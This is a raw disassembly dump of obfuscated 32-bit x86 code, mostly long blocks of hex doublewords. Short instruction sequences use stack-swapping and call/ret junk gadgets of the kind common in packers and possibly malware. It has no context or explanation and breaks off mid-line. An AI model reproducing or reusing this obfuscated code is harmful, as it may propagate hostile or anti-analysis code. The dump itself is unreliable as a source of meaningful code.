0E9060972h, 12h, 9DD427E9h, 0C9A2FCAh, 7D21E180h, 0C40D2C9h dd 8D89DB46h, 60320A5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0B6C35040h, 8B6043E8h, 3171985h, 85C76106h dd 6031A65h, 5960h, 0C792CF80h, 3007185h, 6, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0E62CBBDAh, 0B5FF0F65h, 6030575h, 4B5BD89h, 95FF0603h dd 603171Dh, 17199D8Bh, 0D7810603h, 68C3271Ch, 95FF006Ah dd 60323A5h, 7BEBC08Bh, 6FA76389h, 0E155AE56h, 8EE0B65Ch dd 0E927E473h, 5F07B549h, 0D7782D4Fh, 29C187F9h, 71207969h dd 96E8136Dh, 81FDF7C8h, 84F197DFh, 7EFFBE16h, 0EB56D24Fh dd 0E895B7CFh, 2047F138h, 0D3DB537Fh, 73F2EE04h, 0EA6D9EA8h dd 0B43E8A83h, 7BE4C757h, 100C8AB9h, 95B34634h, 6B19E8FCh dd 0EF6937DAh, 0ED5B6489h, 4D3EB516h, 0C3D68D7Eh, 0CB777D2Fh dd 7DB32EADh, 32AC66D3h, 0EBCBBA43h, 1DEBCF04h, 4D7E953h dd 6AF30000h, 911735A1h, 0AE3654C0h, 0C95371DDh, 0F1769400h dd 0A9F5B420h, 238F60E5h, 45B17A05h, 66D29B27h, 84F0C148h dd 0EA08D37Fh, 8AD01837h, 64010A7Ch, 31792BE2h, 0C91CED73h dd 0CF5606D1h, 8207FFFEh, 3A343DB1h, 33664995h, 6D8BADA5h dd 0BF9018E6h, 0EE756D6Ch, 0A0261E1Dh, 2C7F48D2h, 0DEAF352Dh dd 9162E7DFh, 0EFEEB741h, 0E48F8C37h, 0AC5451ACh, 0FFD05725h dd 962240ACh, 7D7C45D0h, 0B2BB2F82h, 0F9C4E6E2h, 0D611E0FBh dd 0C0236E7Bh, 0ADCFC744h, 3B3A038Fh, 0F0EFB843h, 1096A4D2h dd 6F6C473Fh, 6723BC7h, 0D9361E8h, 35EAE93Ch, 0D611CB3Ah dd 0CF5D5A2Fh, 5C396D04h, 64241720h, 0C023C92Bh, 3A8DC8h dd 56DC0000h, 4AFFFECFh, 0D6114522h, 24EF2145h, 0D61145CEh dd 0C6A199A6h, 0E3B03BC9h, 17B5C39h, 0CA000000h, 0FFD056h dd 0B2B18208h, 686730BAh, 88302D88h, 0A7C53102h, 0E34F20h dd 100D156h, 0B3B28309h, 0A1494605h, 0C1DF4B1Ch, 726A693Ah dd 97A519EAh, 443F3E0Fh, 4DC6974Ch, 0E119C250h, 8E145C39h dd 63000000h, 8C00D156h, 45618F5Ah, 411D611h, 0D75F570Ch dd 8A0F0706h, 3CC2BAB9h, 0FFBE6C6Bh, 0C41F5702h, 0CC9A1FC7h dd 7C777647h, 1A9FBD29h, 0EBDB2451h, 9FF2BE7Fh, 551EA8A0h dd 0EE3BD8E1h, 3E864918h, 47C09146h, 0AD27BC4Ah, 68EE5C39h dd 0DE000000h, 393E1ACh, 8309D611h, 0C2B8B3B2h, 11642DB8h dd 0D1564E19h, 7D090100h, 0A83240B4h, 0EDE5E0DFh, 0C9BB4038h dd 1145F0FEh, 207380D6h, 0D1A22921h, 726F1AD2h, 605D66C7h dd 0F66233B8h, 2D05613h, 0B0ABAA7Bh, 54DBE95Dh, 0BAD68B83h dd 530F4CB1h, 0F8F02529h, 11A23A35h, 5D5A2FD6h, 390404CFh dd 10F5Ch, 565E0000h, 0ADEF05CEh, 59702BEh, 34BBB3B2h dd 67466463h, 713AC26Ah, 0D4D9084Ah, 74E033C1h, 0B024FC29h dd 14EF46E5h, 141320DCh, 0F5FBC6F8h, 7DD012EEh, 0EB727870h dd 990AE1Ah, 68843938h, 99D012EEh, 64EB9390h, 82092793h dd 33BAB2B1h, 5616DF65h, 7D3B3900h, 2D2C7FD2h, 0E0DFB035h dd 95945DE8h, 0F6BF4A9Ah, 0E210DBF7h, 92D01298h, 0CDCA7585h dd 605D1C22h, 0DD6331B8h, 3C45B90Ch, 0DC749BA7h, 496B6321h dd 0A871F907h, 7C7F1970h, 0D0C81B54h, 3A15EFE4h, 109265Ah dd 8160000h, 0B7B2B182h, 0FC29F4BFh, 4AE5B024h, 24DC145Fh dd 99201817h, 0B73E5CC8h, 68EFE7E6h, 2BEA9897h, 31FF862Eh dd 8455DDABh, 38378A85h, 7A7EEA3Dh, 5A3AF871h, 40BCh, 0F1290B00h dd 34EAB529h, 0BCD61145h, 0F5FBB0AFh, 63D61144h, 0B2E6BBB8h dd 754072E6h, 0D611447Fh, 9566EDF7h, 55204A42h, 0D61144AFh dd 45169BA9h, 2894A14Dh, 96FBh, 5919F00h, 4A423D3Ch, 24FC297Fh dd 814C7EB0h, 0D6114573h, 0E40AD503h, 8CD61145h, 71342C7Fh dd 0DC1467C2h, 6CF60436h, 665896A3h, 0B18D012h, 66A6CC97h dd 414ED012h, 91909D49h, 0D5411299h, 605F30B7h, 12654EABh dd 7748CED0h, 2CF58078h, 33300F2Dh, 211E2788h, 0F3BC4755h dd 0BA85F9F4h, 0D01261B4h, 31372F3Ch, 226DD9AAh, 0DEA91DFBh dd 0DA199360h, 0ECE4E3F0h, 77959465h, 5FC69B98h, 9C824DC1h dd 94D01620h, 0FE043C8Fh, 0B1ACAB74h, 0E511966h, 296C4FBBh dd 7EB024FCh, 1145BDB3h, 302835D6h, 41C6D406h, 4FB57870h dd 0C7DC1AB7h, 3CC3BBBAh, 5AE1FF6Bh, 0FDD58A89h, 372D2C92h dd 0B037DFDCh, 32626BDFh, 1D241D9Ch, 0CF11332Bh, 696839C1h dd 0E970766Eh, 0F4FD1918h, 7742EFDCh, 8D0F6079h, 6EA1ECF9h dd 1AEB708Bh, 3FC9CFC7h, 7A597776h, 19A3B17Dh, 0FFFEC753h dd 0B3B9B104h, 0D1EF5B2Ch, 737A794Ah, 0Dh, 0ACDE5476h dd 114593E1h, 5E5663D6h, 4CD5693h, 0B5860D05h, 6932BEB6h dd 1EE7726Ah, 0D1A2271Fh, 8455DAD2h, 3A038D85h, 0EABB433Bh dd 9C6DF3EBh, 0EC836F9Dh, 241C8904h, 0C381E389h, 4, 8704EB83h dd 535C241Ch, 0C381E389h, 4, 8704EB83h, 895C241Ch, 8956241Ch dd 4C681E6h, 81000000h, 4EEh, 24348700h, 240C895Ch, 26FFBA52h dd 62BB0B8Eh, 310D8754h, 24148BD3h, 6804C483h, 6225h, 83242489h dd 59042404h, 4EC81h, 1C890000h, 8418F24h db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_4F2EAD ; --------------------------------------------------------------------------- dw 0A1C5h dd 3532564Bh, 0D0FB17E0h, 7A8F87C7h, 76CDB898h, 0C5030609h dd 0F1A4E0FFh, 9A3F6DBFh, 89E75B2h, 0A9FA3ACBh, 17F06158h dd 929B1A70h, 1C365444h, 8D963A12h, 0A59E015Dh, 60332055h dd 0ED1F4FC9h, 556310A1h, 5FDD09D8h, 9828663Fh, 37861BA5h dd 7D767C56h, 0A87351E6h, 5EEC65A0h, 0CDB03C66h, 5B12630Ah dd 0E4CB5DF9h, 843E5319h, 380B06BBh, 364C42C3h, 57CA7014h dd 0AFF84B24h, 0CDEC5209h, 0FE83F2Ch, 0AE000000h, 29AF5801h dd 0DCC28FDFh, 0F281C1Bh, 8B660D44h, 13E95BF9h, 8C000000h dd 0BD402976h, 0BA37C50Bh, 0FFE48BD7h, 7F3B5A04h, 0C381DA04h dd 70A3h, 1BF068h, 0F28B6600h, 0FE859h, 3D280000h, 28549ED1h dd 0C9428097h, 0C64572A9h, 0C660BF51h, 8B5F7F74h, 0CE95213h dd 4B000000h, 79AA48ECh, 1933E23h, 5F6E764Bh, 0D78CF281h dd 890F6EABh, 0Ah, 5E9h, 74CB600h, 0EA819F0Ch, 6A69336Eh dd 0E1F08166h, 54F281F9h, 0F696E97h, 38Ah, 0FFB70F00h dd 81661389h, 815E9FF7h, 0A2FF72EBh, 0C381F903h, 3A2FF6Eh dd 1E981h, 850F0000h, 0Eh, 0E9F1B70Fh, 26h, 0B83A747Bh dd 0FE992E5h, 13000000h, 0E5EAF73Fh, 5BFC2ECCh, 0DBFE9545h dd 74E922DCh, 0DDFFFFFFh, 56538C51h, 8D8D0F6Ah, 60979A9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 68C35747h dd 5AF88B50h, 20A58D89h, 85290603h, 6033041h, 1A6585C7h dd 6ED00603h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 6C9102C3h, 12E6535Ch, 65BD8B91h dd 80060313h, 85C7EDC6h, 6030071h, 0 dd 8758523h, 0BD8B0603h, 6030C11h, 2021B5FFh, 6A0603h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 4828CFC3h, 5B506896h, 1D95FFF5h, 6A060317h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 9D47C351h, 6A03E50Bh, 0A595FF00h, 8B060323h, 0B109EBC0h dd 1549099Ch, 0C8AC0479h, 12E8h, 0B1B4F000h, 5A5BEBA2h dd 0BACFD848h, 21162BFh, 6646F189h, 5A1FCEB8h, 1AD58D89h dd 0C2810603h, 70C3h, 8BDB33F5h, 31A99BDh, 1334FF06h, 6890Fh dd 0BD8B0000h, 6032C39h, 13E95Eh, 0CED60000h, 8077AC21h dd 998FFC62h, 90989B62h, 8FE5BFB3h, 86EE81E8h, 802C7670h dd 0F6811FE0h, 55BA8883h, 759D89h, 0EE810603h, 550CE406h dd 0DE860h, 0F6C40000h, 0E8465B27h, 0C5FEF7B3h, 0B426678Ch dd 6CB95993h, 612AF349h, 0B34AB956h, 48F75D7h, 798D891Ah dd 0F806030Fh, 0BB23EB81h, 0BD8B1C27h, 6032E0Dh, 0BB1FC381h dd 95891C27h, 6032265h, 903CFB81h, 850FFFFFh, 1Bh, 0E9C8E880h dd 3Ch, 51F72CDAh, 0F94CB0E6h, 0D439CC9Eh, 7DE6B4FFh, 0E9DC2628h dd 10h, 49B3BA5Bh, 0F0AA32Fh, 1AE8A716h, 30B78440h, 0FFFF38E9h dd 279E62FFh, 0B48CA4B3h, 4AE17BDh, 0A9D94D5Bh, 8E8h, 68690600h dd 960D29CDh, 45B589DBh, 5B06031Ch, 571858Bh, 0C3810603h dd 75B9h, 1E05858Bh, 0D22B0603h, 0FFC9BF0Fh, 8B661A34h dd 81665FCFh, 81DDBCE6h, 0C5810EFh, 6890F4Fh, 89000000h dd 318F1B5h, 77EF8106h, 8900FB1Eh, 304A18Dh, 4C78106h dd 892B6F3Ah, 31E4595h, 0C68B5706h, 5613048Fh, 1979B589h dd 8B580603h, 32E6D8Dh, 3EA8306h, 0B8F0Fh, 66600000h, 0BEA76AB8h dd 1A30871Ah, 48B04A61h, 8AD8FA81h, 850FFFFFh, 0FFFFFF93h dd 7E8C18Bh, 0F9000000h, 0A8CE3FD4h, 0D18BCB93h, 61B52959h dd 81060317h, 5FB3C1h, 0E9950B00h, 0BE060318h, 17D2h, 1C7D9589h dd 398B0603h, 81D9BF0Fh, 0BEE069EFh, 599D8902h, 81060300h dd 66F622F7h, 0E4C78172h, 811D1BBBh, 0AB44BED0h, 2360570Ch dd 32F0DBDh, 18F6106h, 0F21858Bh, 0E9830603h, 8DB50904h dd 4E060326h, 0FFBC850Fh, 0B866FFFFh, 14E83E2Dh, 0AF000000h dd 0CA892D06h, 9349DF13h, 0C46D289Ah, 0AAC09EA5h, 0E958F021h dd 6, 4FDFE9A5h, 665EAAADh, 5D24EA81h, 7268C681h, 830F0000h dd 13h, 0EE9h, 3FE3AB00h, 7C757787h, 87CBC199h, 682D2F73h dd 0 dd 1FB58509h, 0E8580603h, 6, 0DD645BFDh, 950B8433h, 6032025h dd 3034FF5Ah, 29C59529h, 0E9590603h, 0Dh, 221680ABh, 0E179589Bh dd 0EC0C2698h, 58E9811Bh, 8B02A109h, 32A859Dh, 0DCC18106h dd 66272F9Dh, 81DB45BBh, 0AB4409C1h, 0BA66511Dh, 48FFE2Eh dd 0CE906h, 72310000h, 6622233Dh, 16CCCDDDh, 9E8BE96h dd 0B0000000h, 7B45196Ah, 0EBA16578h, 0D59D3360h, 57060326h dd 835A6158h, 958B01E8h, 6032F95h, 66484848h, 0A9C3E381h dd 8E80F881h, 850FFFFFh, 0FFFFFF79h, 82F5C680h, 889A075h dd 0DC781469h, 62FB8DA6h, 2E863626h, 908635A1h, 480AD925h dd 99053025h, 148516ECh, 76023F25h, 7863025h, 419F4598h dd 0A5893023h, 90863057h, 5327B5E3h, 4CC83626h, 0D9214D06h dd 6AA204A4h, 7BE5D58Fh, 41A0F990h, 7903BD23h, 6F803659h dd 8E76BBF5h, 279D91A0h, 0C3EE7E23h, 88DB503Ah, 33E91421h dd 0F7797AC7h, 27852950h, 0ECDEB5A8h, 98793623h, 343FC8AEh dd 0FB863025h, 986302Dh, 8A033F83h, 0B863025h, 0A489F92Eh dd 6F79CFD5h, 48863DCCh, 4D1BBD25h, 0AA803368h, 9863020h dd 390BD3DAh, 448F4C9Bh, 5CFDBDA8h, 823E362Ch, 63000000h dd 826FF1EAh, 889A075h, 0DC781469h, 62FB8DA6h, 2E863626h dd 908635A1h, 480AD925h, 99053025h, 0F305E983h, 22B9A4h dd 11E80000h, 0B4000000h, 0F96191Dh, 9E0A10E2h, 709DEADFh dd 33ED6672h, 13E860h, 7F740000h, 7CC52E47h, 73C413C9h dd 3B021BBAh, 83F5B507h, 0B70F5E3Fh, 0E85F61D9h, 0Fh, 0BF7A1469h dd 8E62EA22h, 0FDB44C9Dh, 0FBF8B30h, 689h, 0FD8D8B00h dd 59060319h, 6E9FC781h, 958B0000h, 6031831h, 68h, 0E5B86600h dd 0B5895B78h, 603091Dh, 8B3B34FFh, 326298Dh, 0D7B95E06h dd 815456F2h, 0F61CF8EEh, 81CA8B4Ch, 0D0F4D5C6h, 0C800F1Fh dd 0F000000h, 68Dh, 0CEC98100h, 81414E78h, 25C45CEEh, 999D096Ah dd 56060307h, 0E91F048Fh, 5, 54543A68h, 0E5958B5Eh, 8306031Ch dd 0BF0F02EBh, 894B4BD2h, 3260195h, 68FB8106h, 0FFFFF92h dd 1D85h, 0A9858900h, 0E9060320h, 2Ah, 0EE305AB3h, 149E1166h dd 850AD131h, 0B40530F7h, 0B660ED74h, 71E961D0h, 6DFFFFFFh dd 3263FEh, 0BCB5DC44h, 5528D221h, 8D8DE87Bh, 6097F5Eh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 42C35646h dd 487DC659h, 734BACD5h, 202D8523h, 8D890603h, 60320A5h dd 6585C7F8h, 0AC06031Ah, 6A000065h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 37F1C356h dd 3C8C0C46h, 0F375F7Fh, 810FFBBFh, 6, 2D62C781h, 0FB8B3465h dd 7185C7h, 603h, 5E90000h, 1A000000h, 81665E58h, 0B5FFD68Bh dd 6032021h, 0FFD2BF0Fh, 3171D95h, 0F4E78106h, 0B814DA13h dd 126446D9h, 95FF006Ah, 60323A5h, 9EBC08Bh, 0CDC98ED6h dd 0E317D880h, 0DA04EB8Bh, 0E91B2032h, 8D6h, 0F7B44CDh dd 2E9A6BF1h, 4BB78810h, 6EDAA32Dh, 8EFACB50h, 3ABF83CFh dd 54DFFD69h, 75011F8Bh, 9B2240ACh, 0AD595ECAh, 183A8CE2h dd 0E45664D0h, 807F50D6h, 99C28D85h, 0D611455Eh, 0FA6637BEh dd 36AA76AFh, 144EB86Bh, 262532DCh, 6CD8A92Eh, 82F6C74Eh dd 2120E974h, 81792E26h, 7C2A29FAh, 9118C0BDh, 4C9ED49Fh dd 4956D012h, 4D868AF6h, 0D95A3AEAh, 9D3C96D0h, 3E36075Fh dd 6A03h, 0D1565200h, 0B3E50100h, 11458AE8h, 23E815D6h dd 1E2FEBB7h, 1D231B28h, 1AC8C798h, 31B65E5Bh, 0D713DC63h dd 0FCCE20Fh, 39AD0053h, 0DDD5A62Bh, 363CB7BBh, 30F75C39h dd 46000000h, 7D03D156h, 3EB2ADACh, 11457D73h, 95E8F5D6h dd 4596E196h, 8F52D611h, 9465EA92h, 4DD8E628h, 51C1428Ch dd 7ACD564Eh, 426D82h, 32700000h, 0D6CE9F24h, 7B7A4BD0h dd 1145AEC6h, 0D5D2DBD6h, 31DFA82Dh, 135B20EDh, 9D66F040h dd 40C8D64Ah, 0C17D706Fh, 3942D08Eh, 5C7E76C9h, 0E787111Ah dd 196E168Eh, 3D56517Fh, 67B70A33h, 4C170FE0h, 3F350032h dd 0B7D61145h, 67FB2AAh, 0EC3B067Ah, 66DC1465h, 0B5EEAE61h dd 1A6DCD66h, 2CDFF1Bh, 0D0125DECh, 0DED4A52Ah, 4BD3D9D1h dd 5D608E59h, 610D012h, 0B7B2B17Ah, 87A51164h, 0ACBA2EFFh dd 0A85D5526h, 0A7E1A83h, 1740783Fh, 79EDFADAh, 1615E66Bh dd 506E231Bh, 44CC7471h, 0DCF6FF73h, 0AF4EB316h, 19375951h dd 0CC1C091h, 0DA172E96h, 0F27C8A84h, 59563129h, 2BF47F8Dh dd 9555392Ch, 3CDBD7BCh, 44AA75E9h, 2CDA1751h, 9921271Fh dd 5196DCA7h, 515EDA17h, 1E5092FEh, 17511D53h, 0D0C8D5DAh dd 0D3293205h, 0B522E25Dh, 1AC5DA25h, 0A1119E52h, 770576A9h dd 56EAA762h, 7C8AFECFh, 363C07F1h, 0BED61145h, 9B665EB1h dd 0ED032932h, 1A221512h, 701D0022h, 4139FF6Bh, 4D1EA5B3h dd 74D25B4Eh, 53093Dh, 3B7AB5ADh, 0C9000000h, 152AF629h dd 45096732h, 0DCE9D611h, 0F20032C7h, 9F9A996Ah, 0CE56DCA7h dd 8C5789FDh, 0D6114566h, 1B6010Eh, 25110E4Ah, 14531E16h dd 9824327Dh, 0DDD5D0CFh, 31C8h, 0F629CB00h, 6732152Ah dd 0D6114509h, 32C3D8EDh, 3CBE6E29h, 11480371h, 9BE6F3D6h dd 0ABA37DACh, 0CE56AE81h, 1E14E8FDh, 45D321ECh, 96A3D611h dd 0CF56D39Eh, 0D5E3FFFEh, 0A337824Bh, 0EFC06ED3h, 0F08C4F47h dd 3AD6156Dh, 0B33AE2DFh, 0D35876E2h, 0C18C7E05h, 0D61469B3h dd 90E33643h, 326C7591h, 274D1875h, 0CFD614D8h, 0F0A077C2h dd 0C48D1767h, 0CCD2CAC5h, 0C9777647h, 33410D0Ah, 0E2DDDCADh dd 8E5FE4EAh, 18D51E22h, 2A605C3Ch, 0AF000000h, 7901CF56h dd 5BAEA9A8h, 32CE375Ch, 63B4F3BEh, 0A1AEDC14h, 6A67C2A2h dd 0F66A3BC2h, 989061E8h, 9A263476h, 0DFD7D2D1h, 9F243214h dd 49D0D6CEh, 29547978h, 90D2DB4Fh, 141A9F4Dh, 10DB05FDh dd 0DC14BDBBh, 5F42AEBBh, 152AF629h, 0CF56EAA7h, 573AE9FEh dd 39FF6B70h, 1DA5B341h, 4619544Ch, 68000000h, 3F350032h dd 0B7D61145h, 55821ADh, 0DBA9DA0Dh, 350032C6h, 0D611453Fh dd 5425ADB7h, 0F075A55h, 45D41AE5h, 8F9CD611h, 0F2F9121Bh dd 381BCFC6h, 5F327540h, 0E8FDCE56h, 32477D14h, 0EB000000h dd 908851DDh, 2AF629C5h, 9E243215h, 0DBD3CECDh, 4588E6B1h dd 576CD611h, 0F7003242h, 0B387E188h, 0A9707E5Eh, 0C02ECC17h dd 5622EDE5h, 14E8FDCEh, 0FECF567Dh, 4ED5E3FFh, 0E58B7E7Dh dd 0F6F9B4A9h, 0F0B3ABFEh, 0D615DF14h, 2F2EFF86h, 0E4E3AC37h dd 2AD5D2DBh, 0CE9A97F2h, 706839C0h, 9E12E36Ah, 0DE53A16Ch dd 1623D615h, 59DEFC1Eh, 0C918988h, 0DE214F1Ah, 0C4D1D615h dd 5C47271h, 0E9DB6008h, 15DED01Eh, 0BD6F4BD6h, 370630AAh dd 6DE13441h, 0E4517764h, 0D210032h, 0BAC10CB7h, 47696106h dd 3D338843h, 73835Ch, 6A730000h, 0CD7CDCF3h, 834EC2E3h dd 0D6156B6Dh, 3500F805h, 8AFECF56h, 2E26F77Ch, 4F295479h dd 672310DBh, 4653DC14h, 3C44F47h, 9CD381C4h, 5150A360h dd 0B505CE59h, 7E743F29h, 0F6D012AFh, 0B79796E9h, 7CB45F5Ch dd 792A0D2h, 0AFC3313Eh, 0A6B3D012h, 0AD6D3AEh, 0AEE70DD8h dd 828FD012h, 2CFD848Ah, 5720AAB8h, 9DA6058h, 5A9CBEB6h dd 1F9C24Ch dd 0C2293236h, 264D142h, 0A742A8ABh, 2B7E478Bh, 0D5A62D33h dd 0AF74B1D6h, 615C5B24h, 5F689A0Eh, 8CEA2C67h, 599762E9h dd 19D61164h, 0FEC1B90Ch, 0DC14686Dh, 896CD8E5h, 0D0992432h dd 0A672A5D8h, 56EAA791h, 588AFECFh, 1145678Dh, 0B7020FD6h dd 0B7DFB230h, 0CF9A92F9h, 2932573Ah, 18A3D2A9h, 0F3E4044Fh dd 55829AEh, 665E2FB5h, 3948617Ah, 40AC41h, 29FB0000h dd 32152AF6h, 50E0E29h, 1109AD02h, 30D61CE7h, 919ED611h dd 9D24327Ch, 7C7B44CFh, 0C362E81h, 0FDCE5639h, 477D14E8h dd 3Ch, 0B4B0B9EBh, 0C697BBDFh, 0C9076D7Ah, 0E2EFD611h dd 0F6291FEAh, 32152Ah, 0A59D66F2h, 11458CE2h, 3E5368D6h dd 0CF982432h, 0B3DDD5D0h, 0FDCE56E0h, 0BF2932E8h, 0CFF8B628h dd 38CF170Fh, 3F350032h, 0B7D61145h, 25ACB2AAh, 0CE9F2533h dd 0A9C7D4CFh, 49D61145h, 6C75E93Ch, 82A5E196h, 0DC918955h dd 15305F27h, 7D7AD5D6h, 97D4ED5h, 5BA66FFBh, 0EEAF46A0h dd 0CFF1E954h, 0E5592AB1h, 818051D7h, 0DF320389h, 900D32E7h dd 59629408h, 2DF8C532h, 0D614CAC7h, 6C57A2AFh, 20E3DB65h dd 0DC110707h, 0F3D6424Fh, 3E09F629h, 0D6114530h, 4B60B3C0h dd 0CF56EAA7h, 8D588AFEh, 0D6114567h, 0D816E10Fh, 98D61145h dd 7540388Bh, 6B70573Ah, 0A24139FFh, 5Dh, 5F956092h, 17D51145h dd 2947120Ah, 32152AF6h, 9D66F200h, 458CE2A5h, 0DDE6D611h dd 451021DAh, 0D611ED2Fh, 0C66FBAC7h, 9D49419Bh, 1AB1298h dd 0B0003F19h, 5D585728h, 5F32F50Ah, 7A00CE56h, 5CAFAAA9h dd 151E1447h, 0DD69CA5Ah, 89544CC0h, 3347h, 52DDEB00h dd 978F8A89h, 32F629CCh, 40217716h, 70F74792h, 52A5A09Fh dd 967323Dh, 0EDD61145h, 5F32C3D8h, 0E8FDCE56h, 0D19F2432h dd 2A297C45h, 58EF372Fh, 0FFFECF56h, 15C6B24Ah, 0A09DF8D6h dd 34A071F8h, 0BFBE8F16h, 2195639Ah, 3AC08E13h, 1C6F6A69h dd 2A221Dh, 0A3D19CCEh, 53D615C4h, 708B4E46h, 0FADC10CFh dd 111002F5h, 0DC2F8D68h, 0F6298D70h, 0B984B62Ah, 0D61145BBh dd 6B362E3Bh, 913B2932h, 0F775183Ah, 0B2AB21E4h, 1762B589h dd 0C964996Dh, 0A1564EEFh, 982432E4h, 0E9B4D0CFh, 0D611458Bh dd 130B5E6Bh, 41B5860Dh, 4F63C038h, 0A8A0DB99h, 70573ADDh dd 4139FF6Bh, 35A2h, 2932F100h, 6E374838h, 6EA199F2h, 325A6F3Dh dd 11450967h, 0C7DCE9D6h, 67F20032h, 0ACA49F9Eh, 0FDCE56E1h dd 477D14E8h, 24h, 5EA9E2EBh, 5AF7ADB6h, 0F6299762h, 6732152Ah dd 0D6114509h, 32C3D8EDh, 9B6CF200h, 0CE56D8A3h, 7D14E8FDh dd 0FFFECF56h, 61D5A3DAh, 14513596h, 0F9282DDCh, 0B897F63Ch dd 0CA1DEE73h, 45C00B77h, 0EC7C47BBh, 0EADA1996h, 868556DCh dd 0DAE7938Bh, 8B5CE3DBh, 0E0ABDD1Fh, 0DA1D9492h, 7D055562h dd 27AEB4ACh, 100D159h, 0FFB4B306h, 0FF362EB5h, 3BC3D17Bh dd 0FC706B6Ah, 27C9C331h, 0AEA6B3FFh, 0A72ED6D3h, 0C54C6AD6h dd 73FDF5F4h, 0AE8DABAAh, 0B98209B1h, 6740BFD1h, 0C919AC40h dd 57187016h, 2745B104h, 0C9D0CFA0h, 13h, 982432CCh, 0DDD5D0CFh dd 0B1565FD5h, 0A9919E4Eh, 56B37E76h, 0D0504CDh, 0BEB6B586h dd 726A6932h, 271F1EE7h, 0DAD2D1A2h, 8D858455h, 433B3A03h dd 0F3EBEABBh, 6F9D9C6Dh, 56E08950h, 3850A8BEh, 0C6814E33h dd 24B406FEh, 5F4FEE81h, 0DEF75C76h, 0A5EE814Eh, 1048A07h dd 0E8835EF0h, 24048704h, 0E389535Ch, 4C381h, 0EB810000h dd 4, 5C241C87h, 68240489h, 278Fh, 57243489h, 97F77BFh dd 4815706h, 23107524h, 752D580Bh, 5F0B2310h, 24348B54h dd 4C481h, 0BD680000h, 8900002Dh, 468F2404h, 24348B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_4F2EAD ; --------------------------------------------------------------------------- db 0A9h dd 0B7B89A8Eh, 3060987h, 29E0FFC5h, 7C6A6DCEh, 4D79FD68h dd 0E42EBD60h, 494F21E4h, 0FA5A312Ch, 4125F88Eh, 157A0BA6h dd 81566F49h, 87308BD9h, 195D209Bh, 38046977h, 884D68DCh dd 0BE6DF669h, 0F941A26Fh, 880AD14Ah, 0A9295E0Ch, 0E8606078h dd 0Ah, 6E3EE4DCh, 52A7F016h, 0B70F7170h, 0B70F5AF0h, 0B7C281C3h dd 66000063h, 1F31C781h, 0B9h, 12E900h, 0ACEB0000h, 946DF881h dd 2A1229A8h, 71DD428Ch, 0CFCE9C80h, 661134FFh, 5BD605B8h dd 0DE9h, 0A10D2200h, 33605A03h, 228E6139h, 0F381CFA3h dd 1A28997Eh, 8800Fh, 8C0F0000h, 2, 0EB81F18Bh, 31EBEF1Ch dd 15F68166h, 3DEB8197h, 813CC030h, 0F4CFEBF6h, 0FE95364h dd 28000000h, 4D6A1CFDh, 0AC3A10F2h, 0DE4D1EA6h, 48FD917h dd 11E90Ah, 0BAD90000h, 28853519h, 0C5C9F65Eh, 3F75201Dh dd 60B6AE79h, 6BE18060h, 890Fh, 56610000h, 42C2BA66h, 0E983615Fh dd 0B4BF5304h, 58794054h, 9D4CF981h, 850FFFFFh, 12h, 2EE9h dd 69E27E00h, 0EC1CFFACh, 0F2BF4A0Bh, 850F44BAh, 8, 1EE8151h dd 5873AE40h, 0FFFF3FE9h, 77BD54FFh, 0E6F9448Bh, 44BD7BA8h dd 8D1FB13Bh, 98A6F8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 898CE7ABh, 0E51BD89h dd 8D890603h, 60320A5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 81C35242h, 0FC0B431h, 0E8Bh, 0B58B6000h dd 6032331h, 8D98D8Bh, 89610603h, 31B49B5h, 6585C706h dd 0C806031Ah, 3000059h, 30B5195h, 7185C706h, 60300h, 0F000000h dd 68Ch, 0BDB58B00h, 0FF06030Ah, 32391B5h, 2CE8006h, 171D95FFh dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 8995F9C3h, 320C58Dh, 0FF006A06h, 323A595h dd 0EBC08B06h, 5E569F2Ah, 4356BAD4h, 9CCEAB7Eh, 6E620A9Ch dd 0A310B152h, 0E6733075h, 18FCA532h, 7A083D09h, 5EC9114Bh dd 0E3136E25h, 8DF4C767h, 98B8F8Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0DCEE8650h dd 2BD66547h, 9D335D10h, 603244Dh, 20A58D89h, 6A0603h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 2B2828C3h, 2DADB832h, 68A0F5Eh, 33000000h, 3213D85h dd 6585C706h, 0D806031Ah, 8900005Eh, 30CB985h, 7185C706h dd 60300h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0B25DC357h, 0F42F84F8h, 5775BBC9h dd 65B5FF5Fh, 6A060317h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 9192C356h, 0B69B70DCh dd 0B3F6B8A5h, 719B589h, 95FF0603h, 603171Dh, 8E9h, 0C4623800h dd 0F2B08CE0h, 0FF006A55h, 323A595h, 0EBC08B06h, 0E5F9E559h dd 1DB34E19h, 4B94C68Eh, 0EB779D1Bh, 6119CE9Eh, 8ED385EEh dd 0C8F72D1Ch, 99C50D9Eh, 55631758h, 0F3911344h, 0AC7D8247h dd 8BA51BB3h, 69A1B392h, 0DB5EC7A1h, 4CD976FCh, 31D20030h dd 0F284DDA7h, 2776EC1h, 0D99F92FFh, 35D583ABh, 5A2C8FE9h dd 